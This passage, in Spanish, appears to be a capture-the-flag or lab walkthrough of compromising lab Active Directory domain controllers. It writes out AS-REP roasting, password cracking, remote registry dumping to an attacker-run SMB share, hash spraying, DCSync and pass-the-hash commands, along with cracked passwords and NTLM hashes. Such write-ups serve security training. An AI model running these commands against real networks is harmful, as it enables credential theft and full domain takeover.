Podemos ver algo interesante, el usuario zximena448 pertenece al grupo 

de backup operators, por lo que conseguir este usuario puede ser 

interesante. 

 

 

 

 

 

 

3. Escalada de Privilegios 

Ahora en bloodhound vamos a buscar más información, por ejemplo 

vamos a listar a ver si hay usuarios kerberoasteables o AS-REP roasteables. 

 

Parece ser que el usuario zximena448 es vulnerable a un ataque as-rep 

roasting, que a su vez, hemos visto que este usuario pertenece al grupo 

backup operators. 

https://private-user-images.githubusercontent.com/154221253/367764362-3084f77f-eea0-4ec6-918f-e34a399cc72f.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0MzYyLTMwODRmNzdmLWVlYTAtNGVjNi05MThmLWUzNGEzOTljYzcyZi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT05MzQxNzcxNzdmYTQyNjU0MmViMDBjZmNjYTZkZTJiYjMyZjQzYzY4OTYzODRhN2Q5NjEzOWI5ODcxZWI4N2E2JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.pKRTWpF_LDUbxP1uH2qljtOV5kF0bDwn8NMX0uSDEG8
https://private-user-images.githubusercontent.com/154221253/367764448-fe0f0f3c-c214-4fce-a40a-4fd77bb5c7c7.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0NDQ4LWZlMGYwZjNjLWMyMTQtNGZjZS1hNDBhLTRmZDc3YmI1YzdjNy5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zMDZhMDMyYWQ0NzA4MzY0OGJlOWE5OTM0NDBjOTYyZjU0ZWRlNmQ2ZGJmZjgyNjA2MGRmMjhiNDkxYjY0YjAzJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.61n4LMEG_hYF1KPoFa3hpLLpWTa4ejj7HJ8bcAzaCoQ
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impacket-GetNPUsers SOUPEDECODE.LOCAL/ -usersfile 

valid_ADUsers.txt -outputfile hashes.asreproast 

 

Tenemos el hash NTLMv2 del usuario zximena448, ahora vamos a 

crackearlo con johntheripper. 

john --wordlist=/usr/share/wordlists/rockyou.txt 

hashes.asreproast 

 

Tenemos otro usuario; 

zximena448:internet 

Listamos carpetas compartidas y vemos si tenemos acceso mediante 

winrm, pero no hay suerte, lo único que tenemos permisos para leer y 

escribir en la carpeta C, y lectura sobre admin. 

 

Los miembros del grupo BackUp Operators pueden realizar copias de 

seguridad y restaurar todos los archivos de un ordenador, 

independientemente de los permisos que protejan dichos archivos. Los 

operadores de copia de seguridad también pueden iniciar sesión y 

apagar el ordenador. Este grupo no puede ser renombrado, borrado o 

eliminado. Por defecto, este grupo no tiene miembros y puede realizar 

operaciones de copia de seguridad y restauración en los controladores 

de dominio. 

Vamos a tratar de extraer la SAM. El administrador de cuentas de 

seguridad o SAM (del inglés Security Account Manager) es una base de 

datos almacenada como un fichero del registro en Windows NT, Windows 

2000, y versiones posteriores de Microsoft Windows.  

https://private-user-images.githubusercontent.com/154221253/367764500-006cddd0-96ad-4fbe-9cd2-a77cf605e9a8.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0NTAwLTAwNmNkZGQwLTk2YWQtNGZiZS05Y2QyLWE3N2NmNjA1ZTlhOC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02ZTNmOTJiZGEyODRkNmM1ZDc3OGM2YWQzZTdmNWVjMTEwNjIwNzkzMTliY2Y1ZTdlYzk2YTg4MjQxMTk5MGNhJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.dW7Vo5NTBMKqelDH_E4YyMhIUWqmwa8jf14ZKMn4Sj4
https://private-user-images.githubusercontent.com/154221253/367764539-578538cd-3a02-4090-b478-e97355221fd2.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0NTM5LTU3ODUzOGNkLTNhMDItNDA5MC1iNDc4LWU5NzM1NTIyMWZkMi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zM2Q4YmZiYzdkMjMwZDRlYjM1NzYwNmU1OWI0NzI0NDAwMDVlMDQ2NmRkZTYyZDFjM2ZjOWI0MjJjYTRhMmZkJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.72zeEQz6GuiHbDQVFmxyZtWgUxmQIDOJ0mdTjsYh7X0
https://private-user-images.githubusercontent.com/154221253/367764648-6d8ba51a-c0c2-4dd4-a798-cad7c9b5aef5.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0NjQ4LTZkOGJhNTFhLWMwYzItNGRkNC1hNzk4LWNhZDdjOWI1YWVmNS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0wOWFjZDk1MzJlODQyNTU2MWE2YjI3NmFhYTEwZmM2N2U4NTM5OGY1NDM5NzE3MzkzODBlMTg4NDQ4MzUxMjNlJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.wMmJ_HSqB7tgImofRXR_pwCwAmeb8DQRlUGW33XWdQI
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Almacena las contraseñas de los usuarios en un formato con hash 

(seguro, cifrado). 

Para ello vamos a utilizar la herramienta backup_dc_registry, ya que no 

tenemos acceso a la maquina y hay que hacerlo de forma remota. 

git clone https://github.com/horizon3ai/backup_dc_registry.git 

cd backup_dc_registry 

python3 reg.py zximena448:'internet'@14.14.1.29 backup -p 

'\\14.14.1.100\share' 

Tenemos que levantar con impacket en otra terminar un smbserver. 

impacket-smbserver share $(pwd) -smb2support 

 

Ahora ya tenemos lo necesario para dumpear la SAM del DC. 

 

 

 

 

 

 

https://github.com/horizon3ai/backup_dc_registry.git
https://private-user-images.githubusercontent.com/154221253/367764870-3a837dda-9277-4625-983d-b9060ba07527.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0ODcwLTNhODM3ZGRhLTkyNzctNDYyNS05ODNkLWI5MDYwYmEwNzUyNy5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT04MWMyMmRiMmZjNTc0ODBhMTBiNjA2NjhhN2E2MzEwZDI3YzQ2ZTU1MDg4M2RmZWIwYjdiNmZhOTFiNTVhYWU5JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.fZoo02LjBn9RSAtRqNarHox5rG6k34LkJi1q2fcXGno
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impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM 

LOCAL 

 

Podemos observar que tenemos algunos hashes NTLMv1, probamos con 

el Administrator pero no hay éxito. 

crackmapexec smb 14.14.1.29 -u 'Administrator' -H 

'209c6174da490caeb422f3fa5a7ae634' 

 

Pero como podemos ver en el dump, vemos que hay otros hashes, guest, 

DefaultAccount y el de MACHINE_ACC. 

Una Machine Account o cuenta de máquina es un tipo especial de 

cuenta en un dominio de Active Directory (AD) que representa un equipo 

(o servidor) que se une al dominio. Estas cuentas son fundamentales para 

la autenticación y la seguridad de los equipos en redes administradas 

centralmente, como los dominios de Windows. 

Para ver estas machine accounts, las podemos ver con el dump de 

ldapdomaindump. 

 

https://private-user-images.githubusercontent.com/154221253/367764907-4dbb6d56-ebf0-44ba-a2e2-67af82957eed.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0OTA3LTRkYmI2ZDU2LWViZjAtNDRiYS1hMmUyLTY3YWY4Mjk1N2VlZC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1iZTI4YWM5YTFjYmFjNTViZTg5MmZlOTYwZTcyNWQ5OTUzYjQxNmIyZGQ5ZDVjZmU5YjBjOGNmYjgzMDU4MTNmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.VpHFdxnKQQsETH396Ew514VmoJcT6eAxIVs-RKysgqI
https://private-user-images.githubusercontent.com/154221253/367764969-68b2e772-3f81-40be-8eae-4dfffc642c41.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0OTY5LTY4YjJlNzcyLTNmODEtNDBiZS04ZWFlLTRkZmZmYzY0MmM0MS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT01OGE2NjZjYzEyMzUzYjBmZjAwYTlkMzk1YWU3NjFmNGVkMjk3MzFkMWM4ZjFmOTQxZDIyOWZlZDJlZDEyYWIzJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.1Au7ES1adSvX82lTS16NK3FLipS3KBENCRgDM0fEe14
https://private-user-images.githubusercontent.com/154221253/367778179-505a34e6-f5e2-48c9-ba4e-bdf9d663e887.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3Nzc4MTc5LTUwNWEzNGU2LWY1ZTItNDhjOS1iYTRlLWJkZjlkNjYzZTg4Ny5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0wNzk0MzZlN2FhYTc2OGU5YjIzZDFmYWZkNzBjMzc1YWFhZWRhZjQ5MWNmOTI4OWM0YWJlNmJiNjg4Y2UwZjkwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.waPg5duTKe4aoiZpGtaIXRm7KTh57VJuzqt41Z33Oao
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Como podemos observar hay un montón, por lo que nos vamos a 

guardar los SAM name y vamos a realizar un hash spraying a todas estas 

cuentas de maquina Para ello, la herramienta ldapdomaindump, ha 

generado varios ficheros .grep, lo que haremos será sacar esa columna 

con el siguiente comando; 

cat domain_computers.grep | awk '{print $2}' > machine_acc.txt 

 

 

Ahora con cme, vamos a ver si hay algún credencial válido. 

crackmapexec smb 14.14.1.29 -u machine_acc.txt -H 

'0cea7e533edfd7fb48f91fc6e6b8a8bf' 

 

Con estas credenciales vamos a realizar un ataque dcsync attack para 

dumpear todo el NTDS del AD. 

 

 

 

 

https://private-user-images.githubusercontent.com/154221253/367778276-7b51e18d-37b5-4b42-afb1-c1e767fb3fe6.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3Nzc4Mjc2LTdiNTFlMThkLTM3YjUtNGI0Mi1hZmIxLWMxZTc2N2ZiM2ZlNi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02MDE0NDQxNDQwYzNmZDNjMTJhMWFlMGFiZTJmZTA1ZTc0NmNlODc1OWU2ZTdlOGFlMWNiYmQ4OThlNmZkOWE0JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.kk_fuN_P5V2JvlgfoL2quqBjtZPsLV383hHX41VWfGQ
https://private-user-images.githubusercontent.com/154221253/367778888-7695d13c-fb50-4ce8-bcaa-eb1970160e23.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3Nzc4ODg4LTc2OTVkMTNjLWZiNTAtNGNlOC1iY2FhLWViMTk3MDE2MGUyMy5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0yN2JlOTNiMTYyZmE4ZWVlYzYwYjEwMjBlM2ViMTAyMjQzYWY3MTNiYTBhOGRhYmJiNTc1ZGNiZjgzNDMzMWNhJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.x7JwTTjAhRyHz8cWBp3I2PhvMjQN4X-OxUuOo5MVqGQ
https://private-user-images.githubusercontent.com/154221253/367778916-e3794037-5ebf-47cd-9f83-1a55a2b63881.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3Nzc4OTE2LWUzNzk0MDM3LTVlYmYtNDdjZC05ZjgzLTFhNTVhMmI2Mzg4MS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1kNTc3YjMyYzVmNjNlMGQ5YzA2NjgyNjFjZDZmMTYzNzkxYTAyZDRlM2JkZmU5NGNmYjcwOTBjZTRjMmM5MjE0JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.Yick6lUywpdY2sXn3graw9HA8z_pAZ1DQbN_OVgjuho
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crackmapexec smb 14.14.1.29 -u 'DC01$' -H 

'0cea7e533edfd7fb48f91fc6e6b8a8bf' –ntds 

 

Tenemos el HASH de Administrator, por lo que vamos a conectarnos 

mediante winrm para conseguir las flags. 

evil-winrm -i 14.14.1.29 -u 'Administrator' -H 

'8982babd4da89d33210779a6c5b078bd' 

 

Ya hemos completado este pentesting en el que hemos visto fuerza bruta 

de los SID de Windows para identificar usuarios/grupos en el DC, password 

spraying, crackeado hashes, escalada de privilegios con el grupo BackUp 

Operators, DCSYNC Attack y Pass the Hash. Además hemos visto también 

distintas herramientas para realizar enumeraciones en los entornos de AD. 

 

 

https://private-user-images.githubusercontent.com/154221253/367778942-442da7fc-40f1-4cb3-9fc3-05f3841b6274.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3Nzc4OTQyLTQ0MmRhN2ZjLTQwZjEtNGNiMy05ZmMzLTA1ZjM4NDFiNjI3NC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1jODA2N2ZkZWNkOTdkYzZiYjc1ZDEzYmZlYTllNTc3ZTg4YTE2NjlhMGUyZjg4OTRlYWI5MTg5NjkyMjUwNzYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.7YIkpMi-js42DVGNQKDBbjrgkrHYu9w06KMv-pFhO3E
https://private-user-images.githubusercontent.com/154221253/367778976-c8c54a44-92a5-499f-9ad0-d473e2493df4.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3Nzc4OTc2LWM4YzU0YTQ0LTkyYTUtNDk5Zi05YWQwLWQ0NzNlMjQ5M2RmNC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02ZmY4ZmIwZjE3NDIwOThkMTM4YjYxNjhiNjhhZGVhZTRmNzEyMjU5N2U3OTMyOGE5NTlkZGZhNzhlZTgxMTgzJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.qA3I0XDMH2hpnjyu0cUVl69nA81ivhvDlVCvh4RnFlI
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Máquina DC03 

1. Reconocimiento 

Vamos a empezar con un escaneo de puertos con nmap, con la 

herramienta autonmap. 

 

Tras realizar una enumeración de todos los puertos (enumerando 

rpcclient, ldap y smb), no encontramos nada. 

Levantamos la herramienta responder a ver si conseguimos interceptar 

algún hash NTLMv2. Esto es una muy buena práctica que en auditorias 

reales de pentesting es esencial. 

sudo responder -I eth0 -v 

 

 

 

 

https://github.com/BanYio/AutoNMAP
https://private-user-images.githubusercontent.com/154221253/356909171-d8e3394c-f84d-49c9-ad73-ed6abbe99d89.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5MTcxLWQ4ZTMzOTRjLWY4NGQtNDljOS1hZDczLWVkNmFiYmU5OWQ4OS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02YmUzZjE0ZDE4OGIxZWZkMjM5MzMwZDczZjFjMTExOTA4OGQzNzI1NzM2NGRiMzkwNjUyMmU1YWU5Yzc5ZTNjJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.M8FIOx5QJvvIgGTbxKxnRE5XZ0whq1YYdhcFhYnlFnc
https://private-user-images.githubusercontent.com/154221253/356909249-a5b01a92-396b-422d-ab6a-d7ab023ca9db.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5MjQ5LWE1YjAxYTkyLTM5NmItNDIyZC1hYjZhLWQ3YWIwMjNjYTlkYi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0yNjVkY2Y3N2NlOTI0MjI4ZmIzNDI5MmM3YTY1ZTEzODc0ODk5MGZkZjRjOWNhMTBhMTExNDU0YjEwMzJjMjdmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.Cl3LnR1MYhLYV11flThy-OAZiidT6vNOSMWDpo6eV5g
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2. Explotación 

Tenemos un hash ntlmv2 para el usuario xkate578, nos lo guardamos y 

vemos si lo podemos crakear con john. 

nano Hash_NTLMv2 

john –wordlist=/usr/share/wordlist/rockyou.txt 

 

Ya tenemos unas credenciales.  

 Xkate578:jesuchrist 

Para comprobar si son válidas los podemos probar con crackmapexec 

cme smb 14.14.1.25 -u xkate578 -p ‘jesuchrist’ 

 

Como podemos ver, son correctas. También con cme podemos 

enumerar carpetas compartidas, y vemos una carpeta compartida 

interesante, la carpeta share, en la cual tenemos permisos de lectura y 

escritura. 

cme smb 14.14.1.25 -u xkate578 -p ‘jesuchrist’ --shares 

 

Aquí tenemos ya la flag de user, al ver esta flag vamos a comprobar si 

este usuario se puede conectar de forma remota con winrm, pero no hay 

suerte, por lo que toca escalar privilegios o realizar un movimiento lateral 

a otro usuario del dominio. 

 

 

https://private-user-images.githubusercontent.com/154221253/356909276-06e1912e-fbff-433b-9575-35a0bfb04d4d.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5Mjc2LTA2ZTE5MTJlLWZiZmYtNDMzYi05NTc1LTM1YTBiZmIwNGQ0ZC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1kODc0ZWNiNGJlNjNiY2Q4OTg4Njg1ODQ1OTZhZTMyYTAxNjkyNDBhYjY4MmYyZmNiNzNhZjJmMTYxNDU2OTBjJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.YvR1GBQQYv5n4Sns9e2l6YyTrl3zz8p7Hhz38fpKxUE
